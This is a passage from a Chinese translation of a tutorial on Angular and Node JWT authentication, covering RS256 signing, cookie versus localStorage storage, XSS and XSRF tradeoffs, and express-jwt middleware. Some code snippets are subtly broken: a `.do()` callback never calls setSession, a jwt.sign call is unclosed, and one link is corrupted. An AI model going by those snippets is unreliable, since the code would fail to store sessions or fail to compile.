翻译章节 | > | ---------------------------------------- | ---------------------------- | > | [Candy Zheng](https://github.com/blizzardzheng) | 3、4、5、14、8、9、10、11、12、14 | > | [undead25 ](https://github.com/undead25) | 主页、介绍、0 | > | [Tina92](https://github.com/Tina92) | 6、13 | > | [HydeSong](https://github.com/HydeSong) | 1 | > | [bambooom](https://github.com/bambooom) | 7 | > | [ahonn](https://github.com/ahonn) | 2 | > > * 校对 / 语句优化:[laalaguer](https://github.com/laalaguer) > > * 整合长文: [Candy Zheng](https://github.com/blizzardzheng) # ReactJS 底层揭秘 本文包含 ReactJS 内部工作原理的说明。实际上,我在调试整个代码库时,将所有的逻辑放在可视化的流程图上,对它们进行分析,然后总结和解释主要的概念和方法。我已经完成了 Stack 版本,现在我在研究下一个版本 —— Fiber。 > 通过 [github-pages 网站](https://bogdan-lyashenko.github.io/Under-the-hood-ReactJS/)来以最佳格式阅读. > 为了让它变得更好,如果你有任何想法,欢迎随时提 issue。 每张流程图都可以通过点击在新的选项卡中打开,然后通过缩放使它适合阅读。在单独的窗口(选项卡)中保留文章和正在阅读的流程图,将有助于更容易地匹配文本和代码流。 我们将在这里谈论 ReactJS 的两个版本,老版本使用的是 Stack 协调引擎,新版本使用的是 Fiber(你可能已经知道,React v16 已经正式发布了)。让我们先深入地了解(目前广泛使用的)React-Stack 的工作原理,并期待下 React-Fiber 带来的重大变革。我们使用 [React v15.4.2](https://github.com/facebook/react/tree/v15.4.2) 来解释“旧版 React”的工作原理。 ## 概览 [![](https://raw.githubusercontent.com/xitu/Under-the-hood-ReactJS/translation/stack/images/intro/all-page-stack-reconciler-25-scale.jpg)](./stack/images/intro/all-page-stack-reconciler.svg) 整个流程图分为 15 个部分,让我们开始学习历程吧。 ## 介绍 ### 初识流程图 [![图 介绍-0:整体流程](https://github.com/xitu/Under-the-hood-ReactJS/raw/translation/stack/images/intro/all-page-stack-reconciler-25-scale.jpg)](../images/intro/all-page-stack-reconciler.svg) 你可以先花点时间看下整体的流程。虽然看起来很复杂,但它实际上只描述了两个流程:(组件的)挂载和更新。我跳过了卸载,因为它是一种“反向挂载”,而且删除这部分简化了流程图。另外,**这图并不是100%** 同源代码匹配,而只是描述架构的主要部分。总体来说,它大概是源代码的 60%,而另外的 40% 没有多少视觉价值,为了简单起见,我省略了那部分。 乍一看,你可能会注意到流程图中有很多颜色。每个逻辑项(流程图上的形状)都以其父模块的颜色高亮显示。例如,如果是从红色的 `模块 B` 调用 `方法 A`,那 `方法 A` 也是红色的。以下是流程图中模块的图例以及每个文件的路径。 [![图 介绍-1:模块颜色](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-src-path.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-src-path.svg) 让我们把它们放在一张流程图中,看看**模块之间的依赖关系**。 [![图 介绍-2 模块依赖关系](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/files-scheme.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/files-scheme.svg) 你可能知道,React 是为**支持多种环境**而构建的。 - 移动端(**ReactNative**) - 浏览器(**ReactDOM**) - 服务端渲染 - **ReactART**(使用 React 绘制矢量图形) - 其它 因此,一些文件实际上比上面流程图中列出的要更大。以下是包含多环境支持的相同的流程图。 [![介绍 图-3 多平台模块依赖关系](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-per-platform-scheme.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/7c2372e1/stack/images/intro/modules-per-platform-scheme.svg) 如你所见,有些项似乎翻倍了。这表明它们对每个平台都有一个独立的实现。让我们来看一些简单例子,例如 ReactEventListener,显然,不同平台会有不同的实现。从技术上讲,你可以想象,这些依赖于平台的模块,应该以某种方式注入或连接到当前的逻辑流程中。实际上有很多这样的注入器,因为它们的用法是标准组合模式的一部分。同样,为了简单起见,我选择忽略它们。 让我们来学习下**常规浏览器**中 **React DOM** 的逻辑流程。这是最常用的平台,并完全覆盖了所有 React 的架构设计理念。 ### 代码示例 学习框架或者库的源码的最佳方式是什么?没错,研读并调试源码。那好,我们将要调试这**两个流程**:**ReactDOM.render** 和 **component.setState** 这两者对应了组件的挂载和更新。让我们来看一下我们能编写一些什么样的代码来开始学习。我们需要什么呢?或许几个具有简单渲染的小组件就可以了,因为更容易调试。 ```javascript class ChildCmp extends React.Component { render() { return
    {this.props.childMessage}
    } } class ExampleApplication extends React.Component { constructor(props) { super(props); this.state = {message: 'no message'}; } componentWillMount() { //... } componentDidMount() { /* setTimeout(()=> { this.setState({ message: 'timeout state message' }); }, 1000); */ } shouldComponentUpdate(nextProps, nextState, nextContext) { return true; } componentDidUpdate(prevProps, prevState, prevContext) { //... } componentWillReceiveProps(nextProps) { //... } componentWillUnmount() { //... } onClickHandler() { /* this.setState({ message: 'click state message' }); */ } render() { return
    And some text as well!
    } } ReactDOM.render( , document.getElementById('container'), function() {} ); ``` 我们已经准备好开始学习了。让我们先来分析流程图中的第一部分。一个接一个,我们会将它们全部分析完。 ## 第 0 部分 [![图 0-0](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/part-0.svg) ### ReactDOM.render 让我们从 ReactDOM.render 的调用开始。 入口点是 ReactDom.render,我们的应用程序是从这里开始渲染到 DOM 中的。为了方便调试,我创建了一个简单的 `` 组件。因此,发生的第一件事就是 **JSX 会被转换成 React 组件**。它们是简单的、直白的对象。具有简单的结构。它们仅仅展示从本组件渲染中返回的内容,没有其他了。一些字段应该是你已经熟悉的,像 props、key 和 ref。属性类型是指由 JSX 描述的标记对象。所以,在我们的例子中,它就是 `ExampleApplication` 类,但是它也可以仅仅是 Button 标签的 `button` 字符串等其他类。另外,在 React 组件创建过程中,它会将 `defaultProps` 与 `props` 合并(如果显式声明了),并验证 `propTypes`。 更多详细信息可参考源码:`src\isomorphic\classic\element\ReactElement.js`。 ### ReactMount 你可以看到一个叫做 `ReactMount`(01)的模块。它包含组件挂载的逻辑。实际上,在 `ReactDOM` 里面没有逻辑,它只是一个与`ReactMount` 一起使用的接口,所以当你调用 `ReactDOM.render` 的时候,实际上调用了 `ReactMount.render`。那“挂载”指的是什么呢? > 挂载是初始化 React 组件的过程。该过程通过创建组件所代表的 DOM 元素,并将它们插入到提供的 `container` 中来实现。 至少源码中的注释是这样描述的。那这真实的含义是什么呢?好吧,让我们想象一下下方的转换: [![图 0-1 JSX 到 HTML](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-small.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-small.svg) React 需要**将你的组件描述转换为 HTML** 以将其放入到 DOM 中。那怎样才能做到呢?没错,它需要处理所有的**属性、事件监听、内嵌的组件**和逻辑。它需要将你的高阶描述(组件)转换成实际可以放入到网页中的低阶数据(HTML)。这就是真正的挂载过程。 [![图 0-2 JXS 到 HTML 2](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-big.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/mounting-scheme-1-big.svg) 让我们继续深入下去。接下来是有趣的事实时间!是的,让我们在探索过程中添加一些有趣的东西,让它变得更“有趣”。 > 有趣的事实:确保滚动正在监听(02) > 有趣的是,在第一次渲染根组件时,React 初始化滚动监听并缓存滚动值,以便应用程序代码可以访问它们而不触发重排。实际上,由于浏览器渲染机制的不同,一些 DOM 值不是静态的,因此每次在代码中使用它们时都会进行计算。当然,这会影响性能。事实上,这只影响了不支持`pageX` 和 `pageY` 的旧版浏览器。React 也试图优化这一点。可以看到,制作一个运行快速的工具需要使用很多技术,这个滚动就是一个很好的例子。 ### 实例化 React 组件 看下流程图,在图中(03)处标明了一个创建的实例。在这里创建一个 `` 的实例还为时过早。实际上该处实例化了 `TopLevelWrapper`(一个 React 内部的类)。让我们先来看看下面这个流程图。 [![图 0-3 JSX 到 虚拟 DOM](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/jsx-to-vdom.svg)](https://rawgit.com/Bogdan-Lyashenko/Under-the-hood-ReactJS/master/stack/images/0/jsx-to-vdom.svg) 你可以看到有三个部分,JSX 会被转换为 React 内部三种组件类型中的一种:`ReactCompositeComponent`(我们自定义的组件),`ReactDOMComponent`(HTML 标签)和 `ReactDOMTextComponent`(文本节点)。我们将略过描述`ReactDOMTextComponent` 并将重点放在前两个。 内部组件?这很有趣。你已经听说过 **虚拟 DOM** 了吧?虚拟 DOM 是一种 DOM 的表现形式。 React 用虚拟 DOM 进行组件差异计算等过程。该过程中无需直接操作 DOM 。这使得 React 在更新视图时候更快。但在 React 的源码中没有名为“Virtual DOM”的文件或者类。这是因为 虚拟DOM 只是一个概念,一种如何操作真实 DOM 的方法。所以,有些人说 虚拟DOM 元素等同于 React 组件,但在我看来,这并不完全正确。我认为虚拟 DOM 指的是这三个类:`ReactCompositeComponent`、`ReactDOMComponent` 和 `ReactDOMTextComponent`。后面你会知道到为什么。 好了,让我们在这里完成实例化过程。我们将创建一个 `ReactCompositeComponent` 实例,但实际上这并不是因为我们把`` 放在了 `ReactDOM.render` 里。React 总是从 `TopLevelWrapper` 开始渲染一棵组件的树。它几乎是一个空的包装器,其 `render` 方法(组件的 render)随后将返回 ``。 ```javascript //src\renderers\dom\client\ReactMount.js#277 TopLevelWrapper.prototype.render = function () { return this.props.child; }; ``` 所以,目前为止只有 `TopLevelWrapper` 被创建了。但是……先看一下一个有趣的事实。 > 有趣的事实:验证 DOM 内嵌套 > 几乎每次内嵌的组件渲染时,都被一个专门用于进行 HTML 验证的 `validateDOMNesting` 模块验证。DOM 内嵌验证指的是 `子标签 -> 父标签` 的标签层级的验证。例如,如果父标签是 `
    `}) export class LoginComponent { form:FormGroup; constructor(private fb:FormBuilder, private authService: AuthService, private router: Router) { this.form = this.fb.group({ email: ['',Validators.required], password: ['',Validators.required] }); } login() { const val = this.form.value; if (val.email && val.password) { this.authService.login(val.email, val.password) .subscribe( () => { console.log("User is logged in"); this.router.navigateByUrl('/'); } ); } } } ``` 查看 [raw02.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-02-ts) ❤托管于 [GitHub](https://github.com) 正如我们所看到的,这个页面是一个简单的表单,包含两个字段:电子邮件和密码。当用户点击登录按钮的时候,用户和密码将通过 `login()` 调用发送到客户端身份验证服务。 ### 为什么要创建一个单独的认证服务器 把我们所有的客户端身份验证逻辑放在一个集中的应用范围内的单个 `AuthService`(认证服务)中将帮助我们保持我们代码的组织结构。 这样,如果以后我们需要更改安全提供者或者重构我们的安全逻辑,我们只需要改变这个类。 在这个服务里,我们将使用一些 JavaScript API 来调用第三方服务,或者使用 Angular HTTP Client 进行 HTTP POST 调用。 这两种方案的目标是一致的:通过 POST 请求将用户和密码组合通过网络传送到认证服务器,以便验证密码并启动会话。 以下是我们如何使用 Angular HTTP Client 构建自己的 HTTP POST: ``` @Injectable() export class AuthService { constructor(private http: HttpClient) { } login(email:string, password:string ) { return this.http.post('/api/login', {email, password}) // 这只是一个 HTTP 调用, // 我们还需要去处理 token 的接收 .shareReplay(); } } ``` 查看 [raw03.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-03-ts) ❤托管于 [GitHub](https://github.com) 我们调用的 `shareReplay` 可以防止这个 Observable 的接收者由于多次订阅而意外触发多个 POST 请求。 在处理登录响应之前,我们先来看看请求的流程,看看服务器上发生了什么。 ### 第二步 —— 创建 JWT 会话令牌 无论我们在应用级别使用登录页面还是托管登录页面,处理登录 POST 请求的服务器逻辑是相同的。 目标是在这两种情况下都会验证密码并建立一个会话。如果密码是正确的,那么服务器将会发出一个不记名令牌,说: > 该令牌的持有者的专业 ID 是 353454354354353453, 该会话在接下来的两个小时有效 然后服务器应该对令牌进行签名并发送回用户浏览器!关键部分是 JWT 签名:这是防止攻击者伪造会话令牌的唯一方式。 这是使用 Express 和 Node 包 [node-jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) 创建新的 JWT 会话令牌的代码: ``` import {Request, Response} from "express"; import * as express from 'express'; const bodyParser = require('body-parser'); const cookieParser = require('cookie-parser'); import * as jwt from 'jsonwebtoken'; import * as fs from "fs"; const app: Application = express(); app.use(bodyParser.json()); app.route('/api/login') .post(loginRoute); const RSA_PRIVATE_KEY = fs.readFileSync('./demos/private.key'); export function loginRoute(req: Request, res: Response) { const email = req.body.email, password = req.body.password; if (validateEmailAndPassword()) { const userId = findUserIdForEmail(email); const jwtBearerToken = jwt.sign({}, RSA_PRIVATE_KEY, { algorithm: 'RS256', expiresIn: 120, subject: userId } // 将 JWT 发回给用户 // TODO - 多种可选方案 } else { // 发送状态 401 Unauthorized(未经授权) res.sendStatus(401); } } ``` 查看 [raw04.ts](https://gist.github.com/jhades/2375d4f7849应用38d28eaa41f321f8b70fe#file-04-ts) ❤托管于 [GitHub](https://github.com) 代码很多,我们逐行分解: * 我们首先创建一个 Express 应用 * 接下来,我们配置 `bodyParser.json()` 中间件,使 Express 能够从 HTTP 请求体中读取 JSON 有效载荷 * 然后,我们定义了一个名为 `loginRoute` 的路由处理程序,如果服务器收到一个目标地址是 `/api/login` 的 POST 请求,就会触发它 在 `loginRoute` 方法中,我们有一些代码展示了如何实现登录路由: * 由于 `bodyParser.json()` 中间件的存在,我们可以使用 `req.body` 访问 JSON 请求主体有效载荷。 * 我们先从请求主体中检索电子邮件和密码 * 然后我们要验证密码,看看它是否正确 * 如果密码错误,那么我们返回 HTTP 401 状态码表示未经授权 * 如果密码正确,我们从检索用户专用标识开始 * 然后我们使用用户 ID 和过期时间戳创建一个普通的 JavaScript 对象,然后将其发送回客户端 * 我们使用 [node-jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) 库对有效载荷进行签名,然后选择 RS256 签名类型(稍后详细介绍) * `.sign()` 调用结果是 JWT 字符串本身 总而言之,我们验证了密码并创建一个 JWT 会话令牌。现在我们已经对这个代码的工作原理有了一个很好的了解,让我们来关注使用了 RS256 签名的包含用户会话详细信息的 JWT 签名的关键部分。 为什么签名的类型很重要?因为没有理解它,我们就无法理解应用程序服务端上对相关令牌的验证代码。 #### 什么是 RS256 签名? RS256 是基于 RSA 的 JWT 签名类型,是一种广泛使用的公钥加密技术。 > 使用 RS256 签名的主要优点之一是我们可以将创建令牌的能力与验证他们的能力分开。 如果您想知道如何手动重现它们,可以阅读 [JWT 指南](https://blog.angular-university.io/angular-authentication-jwt/)中使用此类签名的所有优点。 简而言之,RS256 签名的工作方式如下: * 私钥(如我们的代码中的 `RSA_PRIVATE_KEY`)用于对 JWT 进行签名 * 一个公钥用来验证它们 * 这两个密钥是不可互换的:它们只能标记 token,或者只能验证,它们中的任何一个都不能同时做这两件事 ### 为什么用 RS256? 为什么使用公钥加密签署 JWT ?以下是一些安全和运营优势的例子: * 我们只需要在认证服务器部署签名私钥,不是在多个应用服务器使用相同认证服务器。 * 我们不必为了同时更改每个地方的共享密钥而以协同的方式关闭认证服务器和应用服务器。 * 公钥可以在 URL 中公布并且被应用服务器在启动时以及定时自动读取。 最后一部分是一个很好的特性:能够发布验证密钥给我们内置的密钥轮换或者撤销,我们将在这篇文章中实现! 这是因为(使用 RS256)为了启用一个新的密钥对,我们只需要发布一个新的公钥,并且我们会看到这个公钥。 ### RS256 vs HS256 另一个常用的签名是 HS256,没有这些优势。 HS256 仍然是常用的,但是例如 Auth0 等供应商现在都默认使用 RS256。如果你想了解有关 HS256,RS256 和 JWT 签名的更多信息,请查看这篇[文章](https://blog.angular-university.io/angular-authentication-jwt/) 抛开我们使用的签名类型不谈,我们需要将新签名的令牌发送回用户浏览器。 ### 第三步 —— 将 JWT 发送回客户端 我们有几种不同的方式将令牌发回给用户,例如: * 在 Cookie 中 * 在请求正文中 * 在一个普通的 HTTP 头 #### JWT 和 Cookie 让我们从 cookie 开始,为什么不使用 Cookie 呢?JWT 有时候被称为 Cookie 的替代品,但这是两个完全不同的概念。 Cookie 是一种浏览器数据存储机制,可以安全地存储少量数据。 该数据可以是诸如用户首选语言之类的任何数据。但它也可以包含诸如 JWT 的用户识别令牌。 因此,我们可以将 JWT 存储在 Cookie 中!然后,我们来谈谈使用 Cookie 存储 JWT 与其他方法相比较的优点和缺点。 #### 浏览器如何处理 Cookie Cookie 的一个独特之处在于,浏览器会自动为每个请求附加到特定域和子域的 Cookie 到 HTTP 请求的头部。 这就意味着,如果我们将 JWT 存储到了 Cookie 中,假设登录页面和应用共享一个根域,那么在客户端上,我们不需要任何其他的逻辑,就可以让 Cookie 随每一个请求发送到应用服务器。 然后,让我们把 JWT 存储到 Cookie 中,看看会发生什么。下面是我们对登录路由的实现,发送 JWT 到浏览器,存入 : ``` ... continuing the implementation of the Express login route // this is the session token we created above const jwtBearerToken = jwt.sign(...); // set it in an HTTP Only + Secure Cookie res.cookie("SESSIONID", jwtBearerToken, {httpOnly:true, secure:true}); ``` 查看 [raw05.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-05-ts) ❤托管于 [GitHub](https://github.com) 除了使用 JWT 值设置 Cookie 外,我们还设置了一些我们将要讨论的安全属性。 #### Cookie 独特的安全属性 —— HttpOnly 和安全标志 Cookie 另一个独特之处在于它有着一些与安全相关的属性,有助于确保数据的安全传输。 一个 Cookie 可以标记为“安全”,这意味着如果浏览器通过 HTTPS 连接发起了请求,那么它只会附加到请求中。 一个 Cookie 同样可以被标记为 Http Only,这就意味着它 **根本不能** 被 JavaScript 代码访问!请注意,浏览器依旧会将 Cookie 附加到对服务器的每个请求中,就像使用其他 Cookie 一样。 这意味着,当我们删除 HTTP Only 的 Cookie 的时候,我们需要向服务器发送请求,例如注销用户。 #### HTTP Only Cookie 的优点 HTTP Only 的 Cookie 的一个优点是,如果应用遭受脚本注入攻击(或称 XSS),在这种荒谬的情况下, Http Only 标志仍然会阻止攻击者访问 Cookie ,阻止使用它冒充用户。 Secure 和 Http Only 标志经常可以一起使用,以获得最大的安全性,这可能使我们认为 Cookie 是存储 JWT 的理想场所。 但是 Cookie 也有一些缺点,那么我们来谈谈这些:这将有助于我们知晓在 JWT 中存储 Cookie 是否是一种适合我们应用的好方案。(译者注:原文是 “this will help us decide if storing cookies in a JWT is a good approach for our application”,但是上面的部分讲的是将 JWT 存入 Cookie 中,所以译者认为原文有误,但是还是选择尊重原文) #### Cookie 的缺点 —— XSRF(跨站请求伪造) 将不记名令牌存储在 Cookie 中的应用,因此(因为这个 Cookie)遭受的攻击被称为跨站请求伪造(Cross-Site Request Forgery),也成为 XSRF 或者 CSRF。下面是其原理: * 有人发给你一个链接,并且你点击了它 * 这个链接向受到攻击的网站最终发送了一个 HTTP 请求,其中包含了所有链接到该网站的 Cookie * 如果你登陆了网站,这意味着包含我们 JWT 不记名令牌的 Cookie 也会被转发,这是由浏览器自动完成的 * 服务器接收到有效的 JWT,因此服务器无法区分这是攻击请求还是有效请求 这就意味着攻击者可以欺骗用户代表他去执行某些操作,只需要发送一封电子邮件或者公共论坛上发布链接即可。 这个攻击不像看起来那么吓人,但问题是执行起来很简单:只需要一封电子邮件或者社交媒体上的帖子。 我们会在后文详细介绍这种攻击,现在需要知道的是,如果我们选择将我们的 JWT 存储到 Cookie 中,那么我们还需要对 XSRF 进行一些防御。 好消息是,所有的主流框架都带有防御措施,可以很容易地对抗 XSRF,因为它是一个众所周知的漏洞。 就像是发生过很多次一样,Cookie 设计上鱼和熊掌不能兼得:使用 Cookie 意味着利用 HTTP Only 可以很好的防御脚本注入,但是另一方面,它引入了一个新的问题 —— XSRF。 #### Cookie 和第三方认证提供商 在 Cookie 中接收会话 JWT 的潜在问题是,我们无法从处理验证逻辑的第三方域接收到它。 这是因为在 `app.example.com` 运行的应用不能从 `security-provider.com` 等其他域访问 Cookie。 因此在这种情况下,我们将无法访问包含 JWT 的 Cookie,并将其发送到我们的服务器进行验证,这个问题导致了 Cookie 不可用。 #### 我们可以得到两个方案中的最优解吗? 第三方认证提供商可能会允许我们在我们自己网站的可配置子域名中运行外部托管的登录页面,例如 `login.example.com`。 因此,将所有这些解决方案中最好的部分组合起来是有可能的。下面是解决方案的样子: * 将外部托管的登录页面托管到我们自己的子域 `login.example.com` 上,`example.com` 上运行应用 * 该页面设置了仅包含 JWT 的 HTTP Only 和 Secure 的 Cookie,为我们提供了很好的保护,以低于依赖窃取用户身份的多种类型的 XSS 攻击 * 此外,我们需要添加一些 XSRF 防御功能,这里有一个很好理解的解决方案 这将为我们提供最大限度的保护,防止密码和身份令牌被盗: * 应用永远不会获取密码 * 应用代码从不访问会话 JWT,只访问浏览器 * 该应用的请求不容易被伪造(XSRF) 这种情况有时用于企业门户,可以提供很好的安全功能。但是这需要我们的登录页面支持托管到自定义域,且使用了安全提供程序或企业安全代理。 但是,此功能(登录页面托管到自定义子域)并不总是可用,这使得 HTTP Only Cookie 方法可能失效。 如果你的应用属于这种情况,或者你正寻找不依赖 Cookie 的替代方案,那么让我们回到最初的起点,看看我们可以做什么。 #### 在 HTTP 响应正文中发送回 JWT 具有 HTTP Only 特性的 Cookie 是存储 JWT 的可靠选择,但是还会有其他很好的选择。例如我们不使用 Cookie,而是在 HTTP 响应体中将 JWT 发送回客户端。 我们不仅要发送 JWT 本身,而且还要将过期时间戳作为单独的属性发送。 的确,过期时间戳在 JWT 中也可以获取到,但是我们希望让客户端能够简单地获得会话持续时间,而不必要为此再安装一个 JWT 库。 以下使我们如何在 HTTP 响应体中将 JWT 发送回客户端: ``` ... 继续 Express 登录路由的实现 // 这是我们上面创建的会话令牌 const jwtBearerToken = jwt.sign(...); // 将其放入 HTTP 响应体中 res.status(200).json({ idToken: jwtBearerToken, expiresIn: ... }); ``` 查看 [raw06.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-06-ts) ❤托管于 [GitHub](https://github.com) 这样,客户端将收到 JWT 及其过期时间戳。 #### 为了不使用 Cookie 存储 JWT 所进行的设计妥协 不使用 Cookie 的优点是我们的应用不再容易受到 XSRF 攻击,这是这种方法的优点之一。 但是这同样意味着我们将不得不添加一些客户端代码来处理令牌,因为浏览器将不再为每个向应用服务器发送的请求转发它。 这也意味着,在成功的脚本注入攻击的情况下,攻击者此时可以读取到 JWT 令牌,而存储到 HTTP Only Cookie 则不可能读取到。 这是与选择安全解决方案有关的设计折衷的一个好例子:通常是安全与便利的权衡。 让我们继续跟随我们的 JWT 不记名令牌的旅程。由于我们将 JWT 通过请求体发回给客户端,我们需要阅读并处理它。(译者注:原文是“Since we are sending the JWT back to the client in the request body”,译者认为应该是响应体(response body),但是尊重原文) ### 第四步 —— 在客户端存储使用 JWT 一旦我们在客户端收到了 JWT,我们需要把它存储在某个地方。否则,如果我们刷新浏览器,它将会丢失。那么我们就必须要重新登录了。 有很多地方可以保存 JWT(Cookie 除外)。本地存储(Local Storage)是存储 JWT 的实用场所,它是以字符串的键值对的形式存储的,非常适合存储少量数据。 请注意,本地存储具有同步 API。让我们来看看实用本地存储的登录与注销逻辑的实现: ``` import * as moment from "moment"; @Injectable() export class AuthService { constructor(private http: HttpClient) { } login(email:string, password:string ) { return this.http.post('/api/login', {email, password}) .do(res => this.setSession) .shareReplay(); } private setSession(authResult) { const expiresAt = moment().add(authResult.expiresIn,'second'); localStorage.setItem('id_token', authResult.idToken); localStorage.setItem("expires_at", JSON.stringify(expiresAt.valueOf()) ); } logout() { localStorage.removeItem("id_token"); localStorage.removeItem("expires_at"); } public isLoggedIn() { return moment().isBefore(this.getExpiration()); } isLoggedOut() { return !this.isLoggedIn(); } getExpiration() { const expiration = localStorage.getItem("expires_at"); const expiresAt = JSON.parse(expiration); return moment(expiresAt); } } ``` 查看 [raw07.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-07-ts) ❤托管于 [GitHub](https://github.com) 让我们分析一下这个实现过程中发生了什么,从 login 方法开始: * 我们接收到包含 JWT 和 `expiresIn` 属性的 login 调用的结果,并直接将它传递给 `setSession` 方法 * 在 `setSession` 中,我们直接将 JWT 存储到本地存储中的 `id_token` 键值中 * 我们使用当前时间和 `expiresIn` 属性计算过期时间戳 * 然后我们还将过期时间戳保存为本地存储中 `expires_at` 条目中的一个数字值 ### 在客户端使用会话信息 现在我们在客户端拥有全部的会话信息,我们可以在客户端应用的其余部分使用这些信息。 例如,客户端应用需要知道用户是否登陆或者注销,以判断某些比如登录/注销菜单按钮这类的 UI 元素的显示与否。 这些信息现在可以通过 `isLoggedIn()`, `isLoggedOut()` 和 `getExpiration()` 获取。 ### 对服务器的每次请求都携带 JWT 现在我们已经将 JWT 保存在用户浏览器中,让我们继续追随其在网络中的旅程。 让我们来看看如何使用它来让应用服务器知道一个给定的 HTTP 请求属于特定用户。这是认证方案的全部要点。 以下是我们需要做的事情:我们需要用某种方式为 HTTP 附加 JWT,并发送到应用服务器。 然后应用服务器将验证请求并将其链接到用户,只需要检查 JWT,检查其签名并从有效内容中读取用户标识。 为了确保每个请求都包含一个 JWT,我们将使用一个 Angular HTTP 拦截器。 ### 如何构建一个身份验证 HTTP 拦截器 以下是 Angular 拦截器的代码,用于为每个请求附加 JWT 并发送给应用服务器: ``` @Injectable() export class AuthInterceptor implements HttpInterceptor { intercept(req: HttpRequest, next: HttpHandler): Observable> { const idToken = localStorage.getItem("id_token"); if (idToken) { const cloned = req.clone({ headers: req.headers.set("Authorization", "Bearer " + idToken) }); return next.handle(cloned); } else { return next.handle(req); } } } ``` 查看 [raw08.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-08-ts) ❤托管于 [GitHub](https://github.com) 那么让我们来分解以下这个代码是如何工作: * 我们首先直接从本地存储检索 JWT 字符串 * 请注意,我们没有在这里注入 AuthService,因为这里会导致循环依赖错误 * 然后我们将检查 JWT 是否存在 * 如果 JWT 不存在,那么请求将通过服务器进行修改 * 如果 JWT 存在,那么我们就克隆 HTTP 头,并添加额外的认证(Authorization)头,其中将包含 JWT 并且在此处,最初在认证服务器上创建的 JWT 现在会随着每个请求发送到应用服务器。 我们来看看应用服务器如何使用 JWT 来识别用户。 ### 验证服务端的 JWT 为了验证请求,我们需要从 `Authorization` 头中提取 JWT,并检查时间戳和用户标识符。 我们不希望将这个逻辑应用到所有的后端路由,因为某些路由是所有用户公开访问的。例如,如果我们建立了自己的登陆和注册路由,那么这些路由应该可以被所有用户访问。 另外,我们不希望在每个路由基础上都重复验证逻辑,因此最好的解决方案是创建一个 Express 认证中间件,并将其应用于特定的路由。 假设我们已经定义了一个名为 `checkIfAuthenticated` 的 express 中间件,这是一个可重用的函数,它只在一个地方包含认证逻辑。 以下是我们如何将其应用于特定的路由: ``` import * as express from 'express'; const app: Application = express(); // ... 定义 checkIfAuthenticated 中间件 // 检查用户是否仅在某些路由进行身份验证 app.route('/api/lessons') .get(checkIfAuthenticated, readAllLessons); ``` 查看 [raw10.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-10-ts) ❤托管于 [GitHub](https://github.com) 在这个例子中,`readAllLessons` 是一个 Express 路由,如果一个 GET 请求到达 `/api/lessons` Url,它就会提供一个 JSON 列表。 我们已经通过在 REST 端点之前应用 `checkIfAuthenticated` 中间件,使得这个路由只能被认证的用户访问,这意味着中间件功能的顺序很重要。 如果没有有效的 JWT,`checkIfAuthenticated` 中间件将会报错,或允许请求通过中间件链继续。 在 JWT 存在的情况下,如果签名正确但是过期,中间件也需要抛出错误。请注意,在使用基于 JWT 的身份验证的任何应用中,所有这些逻辑都是相同的。 我们可以使用 [node-jsonwebtoken](https://github.com/auth0/node-jsonwebtoken) 自己编写的中间件,但是这个逻辑很容易出错,所以我们使用第三方库。 ### 使用 express-jwt 配置 JWT 验证中间件 为了创建 `checkIfAuthenticated` 中间件,我们将使用 [express-jwt](https://github.com/auth0/express-jwt) 库。 这个库可以让我们快速创建常用的基于 JWT 的身份验证设置的中间件,所以我们来看看如何使用它来验证 JWT,比如我们在登录服务中创建 JWT(使用 RS256 签名)。 首先假定我们首先在服务器的文件系统中安装了签名验证公钥。以下是我们如何使用它来验证 JWT: ``` const expressJwt = require('express-jwt'); const RSA_PUBLIC_KEY = fs.readFileSync('./demos/public.key'); const checkIfAuthenticated = expressJwt({ secret: RSA_PUBLIC_KEY }); app.route('/api/lessons') .get(checkIfAuthenticated, readAllLessons); ``` 查看 [raw11.ts](https://gist.github.com/jhades/2375d4f784938d28eaa41f321f8b70fe#file-11-ts) ❤托管于 [GitHub](https://github.com) 现在让我们逐行分解代码: * 我们通过从文件系统读取公钥来开始,这将用于验证 JWT * 此密钥只能用于验证现有的 JWT,而不能创建和签署新的 JWT * 我们将公钥传递给了 `express-jwt`,并且我们得到一个准备使用的中间件函数! 如果认证头没有正确签名的 JWT,那么这个中间件将会抛出错误。如果 JWT 签名正确,但是已经过期,中间件也会抛出错误。 如果我们想要改变默认的异常处理方法,比如不将异常抛出。而是返回一个状态码 401 和一个 JSON 负载的消息,这也是[可以的](https://github.com/auth0/express-jwt#error-handling)。 使用 RS256 签名的主要优点之一是我们不需要像我们在这个例子中所做的那样,在应用服务器上安装公钥。 想象一下,服务器上有几个正在运行的实例:在任何地方同时替换公钥都会出现问题。 #### 利用 RS256 签名 由认证服务器在公开访问的 URL 中**发布**用于验证 JWT 的公钥。而不是在应用服务器上安装公钥。 